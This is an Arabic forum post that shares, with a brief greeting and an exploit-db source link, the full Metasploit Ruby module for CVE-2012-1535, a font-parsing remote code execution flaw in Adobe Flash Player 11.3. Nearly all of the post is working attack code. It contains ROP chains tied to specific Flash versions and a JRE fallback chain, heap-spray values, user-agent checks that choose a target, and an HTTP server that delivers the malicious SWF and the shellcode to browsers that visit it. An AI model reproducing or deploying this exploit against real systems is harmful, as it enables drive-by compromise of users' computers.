السلام عليكم كيف الحال انشاء الله طيبين
ثغرة في برنامج
Adobe Flash Player 11.3
المشهور الثغرة الاستغلال حقها
من الميتا
الثغرة مبرمجة باروبي
تحميل الاستغلال
http://www.exploit-db.com/download/20624/
----------------------------------------------------------------------------------------------------------------------
اا
ا
##
# This file is part of the Metasploit Framework and may be subject to |
# redistribution and commercial restrictions. Please see the Metasploit |
# web site for more information on licensing and terms of use. |
# http://metasploit.com/ |
## |
require 'msf/core' |
class Metasploit3 < Msf::Exploit::Remote |
Rank = AverageRanking |
include Msf::Exploit::Remote::HttpServer:: HTML |
def initialize(info={}) |
super (update_info(info, |
'Name' => "Adobe Flash Player 11.3 Font Parsing Code Execution" , |
'Description' => %q{ |
This module exploits a vulnerability found in the ActiveX component of Adobe |
Flash Player before 11 . 3 . 300 . 271 . By supplying a corrupt Font file used by the SWF , |
it is possible to gain arbitrary remote code execution under the context of the |
user, as exploited in the wild. |
}, |
'License' => MSF_LICENSE , |
'Author' => |
[ |
'Alexander Gavrun' , #Through iDefense |
'sinn3r' , |
'juan vazquez' |
], |
'References' => |
[ |
[ 'CVE' , '2012-1535' ], |
[ 'OSVDB' , '84607' ], |
[ 'BID' , '55009' ], |
[ 'URL' , 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ], |
[ 'URL' , 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ], |
[ 'URL' , 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ] |
], |
'Payload' => |
{ |
'Space' => 1024 |
}, |
'DefaultOptions' => |
{ |
'InitialAutoRunScript' => 'migrate -f' |
}, |
'Platform' => 'win' , |
'Targets' => |
[ |
# Tested successfully on: |
# Flash 11.3.300.268 |
# Flash 11.3.300.265 |
# Flash 11.3.300.257 |
[ 'Automatic' , {} ], |
[ |
'IE 6 on Windows XP SP3' , |
{ |
'Rop' => nil |
} |
], |
[ |
'IE 7 on Windows XP SP3' , |
{ |
'Rop' => nil |
} |
], |
[ |
'IE 8 on Windows XP SP3' , |
{ |
'Rop' => true |
} |
] |
], |
'Privileged' => false , |
'DisclosureDate' => "Aug 9 2012" , |
'DefaultTarget' => 0 )) |
register_options( |
[ |
OptEnum. new ( 'ROP' , [ true , "The ROP chain to use" , 'SWF' , %w( SWF JRE )]), |
], self . class ) |
end |
def nop |
return make_nops( 4 ).unpack( "L" )[ 0 ].to_i |
end |
def get_payload(t, flash_version= nil ) |
if t[ 'Rop' ]. nil ? |
p = [ |
0x0c0c0c0c, # mapped at 1e0d0000 |
0x0c0c0c0c, |
0x0c0c0c0c, # mapped at 1e0d0008 |
].pack( "V*" ) |
p << payload.encoded |
else |
if datastore[ 'ROP' ] == 'SWF' and flash_version =~ / 11 , 3 , 300 , 257 / |
print_status( "Using Rop Chain For Flash: #{flash_version}" ) |
stack_pivot = [ |
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000) |
0x0c0c0c0c, |
0x1001d891, # xchg eax, esp # ret (1e0d0008) |
].pack( "V*" ) |
rop = [ |
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx) |
0x106e3384, # <- *&VirtualProtect() |
0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx) |
0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx) |
0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx) |
0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx) |
0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx) |
0x00000201, # <- change size to mark as executable if needed (-> ebx) |
0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx) |
0x10955000, # W pointer (lpOldProtect) (-> ecx) |
0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx) |
0x10649004, # ROP NOP (-> edi) |
0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx) |
0x00000040, # newProtect (0x40) (-> edx) |
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx) |
nop, # NOPS (-> eax) |
0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx) |
].pack( "V*" ) |
elsif datastore[ 'ROP' ] == 'SWF' and flash_version =~ / 11 , 3 , 300 , 265 / |
print_status( "Using Rop Chain For Flash: #{flash_version}" ) |
stack_pivot = [ |
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000) |
0x0c0c0c0c, |
0x1001d6d3, # xchg eax, esp # ret (1e0d0008) |
].pack( "V*" ) |
rop = [ |
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx) |
0x106e338c, # <- *&VirtualProtect() |
0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx) |
0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx) |
0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx) |
0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx) |
0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx) |
0x00000201, # <- change size to mark as executable if needed (-> ebx) |
0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx) |
0x10955000, # W pointer (lpOldProtect) (-> ecx) |
0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx) |
0x105c1812, # ROP NOP (-> edi) |
0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx) |
0x00000040, # newProtect (0x40) (-> edx) |
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx) |
nop, # NOPS (-> eax) |
0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx) |
].pack( "V*" ) |
elsif datastore[ 'ROP' ] == 'SWF' and flash_version =~ / 11 , 3 , 300 , 268 / |
print_status( "Using Rop Chain For Flash: #{flash_version}" ) |
stack_pivot = [ |
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000) |
0x0c0c0c0c, |
0x1001d755, # xchg eax, esp # ret (1e0d0008) |
].pack( "V*" ) |
rop = [ |
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx) |
0x106e438c, # <- *&VirtualProtect() |
0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx) |
0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx) |
0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx) |
0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx) |
0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx) |
0x00000201, # <- change size to mark as executable if needed (-> ebx) |
0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx) |
0x1083c000, # RW pointer (lpOldProtect) (-> ecx) |
0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx) |
0x10308b0f, # ROP NOP (-> edi) |
0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx) |
0x00000040, # newProtect (0x40) (-> edx) |
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx) |
nop, # NOPS (-> eax) |
0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx) |
].pack( "V*" ) |
else |
print_status( "Default back to JRE ROP" ) |
stack_pivot = [ |
0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000) |
0x0c0c0c0c, |
0x7c348b05, # xchg eax, esp # ret (1e0d0008) |
].pack( "V*" ) |
rop = [ |
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN |
0x00001000, # (dwSize) |
0x7c347f98, # RETN (ROP NOP) |
0x7c3415a2, # JMP [EAX] |
0xffffffff, |
0x7c376402, # skip 4 bytes |
0x7c345255, # INC EBX # FPATAN # RETN |
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN |
0x7c344f87, # POP EDX # RETN |
0x00000040, # flNewProtect |
0x7c34d201, # POP ECX # RETN |
0x7c38b001, # &Writable location |
0x7c347f97, # POP EAX # RETN |
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] |
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN |
0x7c345c30, # ptr to 'push esp # ret ' |
].pack( "V*" ) |
end |
p = stack_pivot |
p << rop |
p << payload.encoded |
end |
return p |
end |
def get_target(agent) |
#If the user is already specified by the user, we'll just use that |
return target if target.name != 'Automatic' |
if agent =~ / NT 5 \. 1 / and agent =~ / MSIE 6 / |
return targets[ 1 ] #IE 6 on Windows XP SP3 |
elsif agent =~ / NT 5 \. 1 / and agent =~ / MSIE 7 / |
return targets[ 2 ] #IE 7 on Windows XP SP3 |
elsif agent =~ / NT 5 \. 1 / and agent =~ / MSIE 8 / |
return targets[ 3 ] #IE 8 on Windows XP SP3 |
else |
return nil |
end |
end |
def on_request_uri(cli, request) |
agent = request.headers[ 'User-Agent' ] |
print_status( "User-agent: #{agent}" ) |
my_target = get_target(agent) |
print_status( "Client requesting: #{request.uri}" ) |
# Avoid the attack if the victim doesn't have the same setup we're targeting |
if my_target. nil ? |
print_error( "Browser not supported: #{agent}" ) |
send_not_found(cli) |
return |
end |
# The SWF request itself |
if request.uri =~ /\.swf$/ |
print_status( "Sending SWF" ) |
send_response(cli, @swf , { 'Content-Type' => 'application/x-shockwave-flash' }) |
return |
end |
# The TXT payload request |
if request.uri =~ /\.txt$/ |
flash_version = request.headers[ 'x-flash-version' ] |
shellcode = get_payload(my_target, flash_version).unpack( 'H*' )[ 0 ] |
print_status( "Sending Payload" ) |
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' }) |
return |
end |
swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand( 8 )+ 4 ) + ".swf" |
html = % Q | |
<html> |
<head> |
</head> |
<body> |
<object width= "1" height= "1" type= "application/x-shockwave-flash" data= "#{swf_uri}" > |
<param name= "movie" value= "#{swf_uri}" > |
</object> |
</body> |
</html> |
| |
html = html.gsub(/^\t\t/, '' ) |
# we need to handle direct /pay.txt requests |
proc = Proc . new do |cli, req| |
on_request_uri(cli, req) |
end |
add_resource({ 'Path' => "/pay.txt" , 'Proc' => proc}) rescue nil |
print_status( "Sending HTML" ) |
send_response(cli, html, { 'Content-Type' => 'text/html' }) |
end |
def exploit |
@swf = create_swf |
print_status( "SWF Loaded: #{@swf.length.to_s} bytes" ) |
super |
end |
def create_swf |
path = :: File .join( Msf::Config.install_root, "data" , "exploits" , "CVE-2012-1535" , "trigger.swf" ) |
fd = :: File .open( path, "rb" ) |
swf = fd.read(fd.stat.size) |
fd.close |
return swf |
end |
def cleanup |
vprint_status( "Removing txt resource" ) |
remove_resource( '/pay.txt' ) rescue nil |
super |
end |
end
--------------------------------------------------------------------------------
مصدر الثغرة http://www.exploit-db.com/exploits/20624/
وهاذا وفي امان الله وحفظه
تحياتي :mr.hmada